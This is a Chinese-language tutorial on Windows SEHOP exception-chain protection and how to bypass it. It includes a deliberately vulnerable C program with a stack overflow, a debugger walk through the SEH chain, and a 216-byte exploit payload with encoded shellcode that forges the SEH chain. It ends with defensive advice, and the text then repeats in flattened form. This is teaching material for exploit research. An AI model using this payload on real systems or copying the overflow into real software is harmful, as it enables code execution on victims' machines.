Windows下SEHOP保护机制详解及其绕过
字数 1936 2025-08-23 18:31:34

Windows下SEHOP保护机制详解及其绕过

一、SEHOP保护机制概述

SEHOP(Structured Exception Handling Overwrite Protection)是微软开发的一种针对异常处理机制的保护方式,旨在防止攻击者通过覆盖SEH(结构化异常处理)链来劫持程序流程。

1.1 SEHOP保护原理

SEHOP通过检查SEH异常处理链的完整性来进行检测:

  1. 程序运行时,SEH处理函数以链表形式存储在栈中
  2. 每个SEH记录包含两个关键字段:
    • 指向下一个SEH记录的指针
    • 当前SEH处理函数指针
  3. SEHOP会遍历整个SEH链,检查:
    • 每个记录是否指向下一个有效的SEH记录
    • 最终记录是否指向系统预定的终极异常处理函数(位于Ntdll.dll中的RtlCaptureContext+E5)

1.2 SEHOP与SafeSEH的区别

特性 SafeSEH SEHOP
保护方式 建立安全SEH表,比对处理函数指针 检查SEH链完整性
验证时机 调用异常处理前 遍历整个SEH链
保护范围 单个SEH记录 整个SEH链
绕过难度 相对容易 相对困难

二、SEHOP保护绕过技术

2.1 覆盖返回地址

适用条件

  • 程序存在栈溢出漏洞
  • 不依赖SEH机制的利用

攻击步骤

  1. 计算缓冲区起始地址与ebp的距离
  2. 构造payload覆盖返回地址
  3. 将返回地址覆盖为跳板指令地址或ShellCode地址

内存布局示例

[ShellCode][填充数据][覆盖的返回地址]

2.2 攻击虚函数

适用条件

  • 程序使用虚函数
  • 存在缓冲区溢出漏洞

攻击步骤

  1. 找到溢出缓冲区与this指针的距离
  2. 布置payload将this指针指向原始参数
  3. 将虚函数指针指向ShellCode

2.3 伪造SEH异常处理链(直接绕过SEHOP)

核心思想:构造一个完整的SEH链,使SEHOP验证通过

攻击步骤

  1. 分析程序

    • 确认存在栈溢出漏洞
    • 定位SEH记录在栈中的位置
    • 确定系统终极异常处理函数地址
  2. 构造payload结构

    [ShellCode][填充数据][伪造的下一个SEH记录地址][异常处理函数指针]
    
  3. 关键要求

    • 伪造的下一个SEH记录地址必须指向有效的SEH记录
    • 最终必须指向系统终极异常处理函数
    • 异常处理函数指针应指向攻击代码
  4. 示例payload结构

    | ShellCode | \x90填充 | 0x19FFE4(SEH链尾地址) | 指向ShellCode的地址 |
    

三、实战演示

3.1 漏洞代码分析

#include <stdio.h>
#include <Windows.h>

char ShellCode[500];

DWORD MyException() {
    printf("This is My Exception!");
    getchar();
    return 1;
}

void test(char* szBuffer) {
    char str[200]{0};
    memcpy(str, szBuffer, 216);  // 明显的栈溢出漏洞
    
    int zero = 0;
    __try {
        zero = 5 / zero;  // 触发除零异常
    }
    __except(MyException()) {};
}

int main() {
    HANDLE hFile = CreateFileA("111.txt", GENERIC_READ, NULL, NULL, 
                              OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD dwReadSize = 0;
    ReadFile(hFile, ShellCode, 500, &dwReadSize, NULL);
    test(ShellCode);
    return 0;
}

3.2 调试分析

  1. 栈布局分析

    • str缓冲区起始地址:0x0019FDB4
    • SEH_Record[0]地址:0x19FE84
    • 距离计算:0x19FE84 - 0x0019FDB4 = 0xD0 (208字节)
  2. SEH链遍历

    • SEH_Record[0] -> SEH_Record[1] (0x19FF54)
    • SEH_Record[1] -> SEH_Record[2] (0x19FFCC)
    • SEH_Record[2] -> SEH_Record[3] (0x19FFE4)
    • SEH_Record[3] -> 0xFFFFFFFF (链尾)
    • 最终处理函数:0x76F692C5 (RtlCaptureContext+E5)

3.3 构造攻击payload

payload结构

  1. ShellCode(恶意代码)
  2. 填充数据(确保覆盖到SEH记录)
  3. 伪造的下一个SEH记录指针(指向链尾0x19FFE4)
  4. 异常处理函数指针(指向ShellCode)

示例payload

# 构造216字节payload
payload = (
    b"\xBE\xE8\x88\x3C\xFD\xD9\xD0\xD9\x74\x24\xF4\x5A\x33\xC9\xB1\x30"  # ShellCode
    b"\x31\x72\x13\x03\x72\x13\x83\xEA\x14\x6A\xC9\x01\x0C\xE9\x32\xFA"
    b"\xCC\x8E\xBB\x1F\xFD\x8E\xD8\x54\xAD\x3E\xAA\x39\x41\xB4\xFE\xA9"
    b"\xD2\xB8\xD6\xDE\x53\x76\x01\xD0\x64\x2B\x71\x73\xE6\x36\xA6\x53"
    b"\xD7\xF8\xBB\x92\x10\xE4\x36\xC6\xC9\x62\xE4\xF7\x7E\x3E\x35\x73"
    b"\xCC\xAE\x3D\x60\x84\xD1\x6C\x37\x9F\x8B\xAE\xB9\x4C\xA0\xE6\xA1"
    b"\x91\x8D\xB1\x5A\x61\x79\x40\x8B\xB8\x82\xEF\xF2\x75\x71\xF1\x33"
    b"\xB1\x6A\x84\x4D\xC2\x17\x9F\x89\xB9\xC3\x2A\x0A\x19\x87\x8D\xF6"
    b"\x98\x44\x4B\x7C\x96\x21\x1F\xDA\xBA\xB4\xCC\x50\xC6\x3D\xF3\xB6"
    b"\x4F\x05\xD0\x12\x14\xDD\x79\x02\xF0\xB0\x86\x54\x5B\x6C\x23\x1E"
    b"\x71\x79\x5E\x7D\x1F\x7C\xEC\xFB\x6D\x7E\xEE\x03\xC1\x17\xDF\x88"
    b"\x8E\x60\xE0\x5A\xEB\x9F\xAA\xC7\x5D\x08\x73\x92\xDC\x55\x84\x48"
    b"\x22\x60\x07\x79\xDA\x97\x17\x08\xDF\xDC\x9F\xE0\xAD\x4D\x4A\x07"
    b"\xE4\xFF\x19\x00\xB4\xFD\x19\x00"
)

3.4 攻击效果

成功覆盖SEH记录后:

  • SEH_Record[0]的异常处理指针被覆盖为ShellCode地址
  • SEH_Record[0]的下一个记录指针指向链尾(0x19FFE4)
  • SEHOP验证时:
    1. 检查SEH_Record[0]指向SEH_Record[3](链尾)
    2. SEH_Record[3]指向系统终极处理函数
    3. 验证通过,执行被覆盖的异常处理函数(即ShellCode)

四、防护建议

  1. 开发人员

    • 启用所有安全编译选项(GS, DEP, ASLR, CFG等)
    • 避免使用不安全的函数(如memcpy等)
    • 对输入数据进行严格验证
  2. 系统管理员

    • 保持系统更新,启用所有安全功能
    • 使用EMET等增强保护工具
    • 限制应用程序权限
  3. 防御SEHOP绕过

    • 结合使用SEHOP和其他保护机制
    • 监控异常处理链的异常修改
    • 使用控制流完整性保护(CFI)

五、总结

SEHOP通过验证SEH链完整性提供了强大的保护,但通过精心构造的SEH链仍然可能被绕过。安全防护应该采用纵深防御策略,结合多种保护机制,才能有效抵御各种攻击。

Windows下SEHOP保护机制详解及其绕过 一、SEHOP保护机制概述 SEHOP(Structured Exception Handling Overwrite Protection)是微软开发的一种针对异常处理机制的保护方式,旨在防止攻击者通过覆盖SEH(结构化异常处理)链来劫持程序流程。 1.1 SEHOP保护原理 SEHOP通过检查SEH异常处理链的完整性来进行检测: 程序运行时,SEH处理函数以链表形式存储在栈中 每个SEH记录包含两个关键字段: 指向下一个SEH记录的指针 当前SEH处理函数指针 SEHOP会遍历整个SEH链,检查: 每个记录是否指向下一个有效的SEH记录 最终记录是否指向系统预定的终极异常处理函数(位于Ntdll.dll中的RtlCaptureContext+E5) 1.2 SEHOP与SafeSEH的区别 | 特性 | SafeSEH | SEHOP | |------|---------|-------| | 保护方式 | 建立安全SEH表,比对处理函数指针 | 检查SEH链完整性 | | 验证时机 | 调用异常处理前 | 遍历整个SEH链 | | 保护范围 | 单个SEH记录 | 整个SEH链 | | 绕过难度 | 相对容易 | 相对困难 | 二、SEHOP保护绕过技术 2.1 覆盖返回地址 适用条件 : 程序存在栈溢出漏洞 不依赖SEH机制的利用 攻击步骤 : 计算缓冲区起始地址与ebp的距离 构造payload覆盖返回地址 将返回地址覆盖为跳板指令地址或ShellCode地址 内存布局示例 : 2.2 攻击虚函数 适用条件 : 程序使用虚函数 存在缓冲区溢出漏洞 攻击步骤 : 找到溢出缓冲区与this指针的距离 布置payload将this指针指向原始参数 将虚函数指针指向ShellCode 2.3 伪造SEH异常处理链(直接绕过SEHOP) 核心思想 :构造一个完整的SEH链,使SEHOP验证通过 攻击步骤 : 分析程序 : 确认存在栈溢出漏洞 定位SEH记录在栈中的位置 确定系统终极异常处理函数地址 构造payload结构 : 关键要求 : 伪造的下一个SEH记录地址必须指向有效的SEH记录 最终必须指向系统终极异常处理函数 异常处理函数指针应指向攻击代码 示例payload结构 : 三、实战演示 3.1 漏洞代码分析 3.2 调试分析 栈布局分析 : str缓冲区起始地址:0x0019FDB4 SEH_ Record[ 0 ]地址:0x19FE84 距离计算:0x19FE84 - 0x0019FDB4 = 0xD0 (208字节) SEH链遍历 : SEH_ Record[ 0] -> SEH_ Record[ 1 ] (0x19FF54) SEH_ Record[ 1] -> SEH_ Record[ 2 ] (0x19FFCC) SEH_ Record[ 2] -> SEH_ Record[ 3 ] (0x19FFE4) SEH_ Record[ 3 ] -> 0xFFFFFFFF (链尾) 最终处理函数:0x76F692C5 (RtlCaptureContext+E5) 3.3 构造攻击payload payload结构 : ShellCode(恶意代码) 填充数据(确保覆盖到SEH记录) 伪造的下一个SEH记录指针(指向链尾0x19FFE4) 异常处理函数指针(指向ShellCode) 示例payload : 3.4 攻击效果 成功覆盖SEH记录后: SEH_ Record[ 0 ]的异常处理指针被覆盖为ShellCode地址 SEH_ Record[ 0 ]的下一个记录指针指向链尾(0x19FFE4) SEHOP验证时: 检查SEH_ Record[ 0]指向SEH_ Record[ 3 ](链尾) SEH_ Record[ 3 ]指向系统终极处理函数 验证通过,执行被覆盖的异常处理函数(即ShellCode) 四、防护建议 开发人员 : 启用所有安全编译选项(GS, DEP, ASLR, CFG等) 避免使用不安全的函数(如memcpy等) 对输入数据进行严格验证 系统管理员 : 保持系统更新,启用所有安全功能 使用EMET等增强保护工具 限制应用程序权限 防御SEHOP绕过 : 结合使用SEHOP和其他保护机制 监控异常处理链的异常修改 使用控制流完整性保护(CFI) 五、总结 SEHOP通过验证SEH链完整性提供了强大的保护,但通过精心构造的SEH链仍然可能被绕过。安全防护应该采用纵深防御策略,结合多种保护机制,才能有效抵御各种攻击。